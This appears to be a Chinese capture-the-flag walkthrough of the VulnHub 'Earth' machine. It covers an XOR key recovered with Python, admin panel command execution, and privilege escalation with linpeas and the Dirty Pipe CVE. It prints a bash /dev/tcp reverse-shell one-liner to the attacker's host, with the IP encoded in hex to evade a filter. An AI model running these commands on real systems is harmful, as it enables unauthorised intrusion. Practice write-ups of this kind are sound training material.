前言
靶机来源:Vulnerable By Design ~ VulnHub
正文
发现有 http 端口可以访问。直接访问是 400 报错。
进行更详细的扫描。可以发现编程语言用的是 Python 版本为 3.9,Web 服务器是 Apache 2.4.51
这里卡了好久,查看 wp 发现是 DNS 的问题,靶机应该是能够正常 http 访问的(尬
#windows C:\Windows\System32\drivers\etc\hosts #linux /etc/hosts #在最下面加入 #earth 192.168.101.41 earth.local 192.168.101.41 terratest.earth.local #最后 ipconfig /flushdns
之后浏览器访问 earth.local 即可正常进入
这里随意输入提交后,出现类似于加密后的字符串。
进行目录扫描,发现有一个 admin 的路由可以进入。
然后 robots.txt 在 https 端口也可访问到。
查看最后一个 testingnotes.txt,发现留言。
测试安全消息传递系统注意: *使用 XOR 加密作为算法,在 RSA 中使用应该是安全的。 *地球已确认他们已收到我们发送的消息。 *testdata.txt 用于测试加密。 *terra 用作 Admin Portal 的用户名。 待办事项: *我们如何安全地将每月密钥发送到 Earth?还是我们应该每周更换密钥? *需要测试不同的密钥长度以防止暴力破解。密钥应该有多长? *需要改进消息界面和管理面板的界面,目前非常基础。
大概信息就是,在 index.html 的 previous message 那里的算法是异或,然后是用 testdata.txt 里的内容进行运算的,由于异或运算的特性,只需要把密文和 testdata.txt 再进行一次加密即可恢复原文。
import binascii # 字符串异或 m = "According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago." c = "2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a" # 将字符串转换为十六进制 m = binascii.b2a_hex(m.encode("utf-8")) # 进行异或运算 result = hex(int(c, 16) ^ int(m, 16)) print(result) #0x6561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174
仔细看,字符串是一直重复的:earthclimatechangebad4humans 。猜测是登陆密码。
登录成功!
测试命令,当前用户为 apache,不是最高权限 root。
全局查找 flag,在 var 下发现一个
cat /var/earth_web/user_flag.txt Command output: [user_flag_3353b67d6437f07ba7d34afd7d2fc27d]
接下来就要尝试提权了。这里要使用反弹 shell。这里直接反弹 shell 会报错说不允许连接。
这里只需要把十进制数改为十六进制表示即可。(猜测是防火墙的原因)
bash -i >& /dev/tcp/192.168.101.39/100 0>&1 改为 bash -i >& /dev/tcp/0xc0.0xa8.0x65.0x27/100 0>&1
接下来进行提权。
在 kali 里已经下载有了 linpeas 脚本,然后开一个 http.server 服务让靶机下载。
靶机一定要进入 /tmp 才有写入的权限,然后运行 bash linpeas.sh。
居然又发现了这个脏管道 CVE,上一篇文章里也是这个漏洞,正好 kali 里下载有。
可以发现权限已经提到了 root
拿到 flag